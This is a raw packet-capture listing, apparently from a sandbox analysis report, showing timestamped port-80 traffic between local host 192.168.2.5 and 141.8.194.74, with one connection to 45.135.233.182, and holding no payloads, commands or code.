Jan 13, 2022 20:51:25.478718996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478732109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478744030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478760004 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478770018 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.478775978 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478776932 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.478817940 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.478822947 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479119062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479139090 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479155064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479171991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479190111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479207039 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479217052 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479223013 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479226112 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479242086 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479258060 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479274035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479275942 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479281902 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479294062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479311943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479327917 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479345083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479357004 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479363918 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479532957 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479552031 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479568958 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479582071 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479584932 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479588985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479604006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479619980 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479635954 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479651928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479660034 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479665995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479671001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479684114 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479882002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479901075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479927063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479932070 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479939938 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.479943991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479960918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479978085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.479995012 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480007887 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480011940 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480015039 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480029106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480046034 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480057955 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480063915 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480063915 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480081081 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480098009 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480128050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480133057 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480139017 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480146885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480164051 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480179071 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480195045 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480211020 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480226994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480243921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480259895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480277061 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480288029 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480293036 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480309963 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480314016 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480325937 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480340958 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480349064 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480405092 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480411053 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480534077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480552912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480568886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480587006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480601072 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480603933 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480648994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480664968 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480665922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480670929 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480690956 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480714083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480732918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480746984 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480747938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480755091 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480766058 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.480823994 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.480833054 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.481878042 CET	49835	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.482429981 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482450962 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482465982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482505083 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482553959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482570887 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482605934 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482611895 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482613087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482634068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482650042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482662916 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482666016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482691050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482707024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482721090 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482722044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482769012 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482774973 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482774973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482794046 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482810974 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482826948 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482831955 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482844114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482861042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482877016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482892990 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482897997 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482904911 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482913017 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482929945 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482933998 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.482947111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482964039 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482981920 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.482997894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.483005047 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.483011961 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.483016968 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.483035088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.483051062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.483071089 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.483076096 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.483081102 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.483130932 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.483135939 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.484606981 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484625101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484641075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484657049 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484669924 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.484674931 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484693050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484709978 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484720945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.484726906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484743118 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484745026 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.484805107 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.484811068 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.484812021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484831095 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484847069 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484863997 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484880924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484895945 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484914064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484930038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484941959 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.484947920 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484949112 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.484963894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484977007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.484988928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485001087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485003948 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485014915 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485030890 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485048056 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485063076 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485079050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485095024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485110044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485126019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485143900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485160112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485167027 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485177994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485194921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485212088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485229015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485245943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485249996 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485255957 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485263109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485280037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485295057 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485312939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485316992 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485321999 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485332012 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485347986 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485364914 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485377073 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485382080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485382080 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485399008 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485418081 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485434055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485440969 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485445976 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485454082 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485471964 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485488892 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485505104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485507965 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485522032 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485538960 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485539913 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485543966 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485558033 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485574007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485589981 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485599041 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485605001 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485608101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485625982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485641956 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485656977 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485673904 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485683918 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485688925 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485692978 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485693932 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485712051 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485722065 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485730886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485748053 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485763073 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485764027 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485780954 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485796928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485812902 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485819101 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485831022 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485857010 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485874891 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485891104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485901117 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485907078 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485907078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485925913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485943079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485944986 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.485960007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485977888 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.485994101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486001968 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486006021 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486011982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486030102 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486047029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486063004 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486078978 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486078978 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486084938 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486095905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486112118 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486128092 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486129045 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486134052 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486145020 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486161947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486177921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486191034 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486195087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486196995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486212969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486228943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486246109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486253023 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486258030 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486263990 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486279964 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486295938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486313105 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486323118 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486327887 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486330986 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486349106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486362934 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486365080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486382961 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486385107 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486399889 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486411095 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486417055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486433983 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486449003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486459017 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486464977 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486483097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486498117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486514091 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486520052 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486526012 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486532927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486548901 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486566067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486581087 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486582994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486588001 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486601114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486618042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486633062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486634970 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486649990 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486655951 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486669064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486685038 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486690044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486707926 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486723900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486740112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486748934 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486753941 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486762047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486777067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486793995 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486809969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486820936 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486825943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486826897 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.486844063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486860991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.486877918 CET	80	49825	141.8.194.74	192.168.2.5
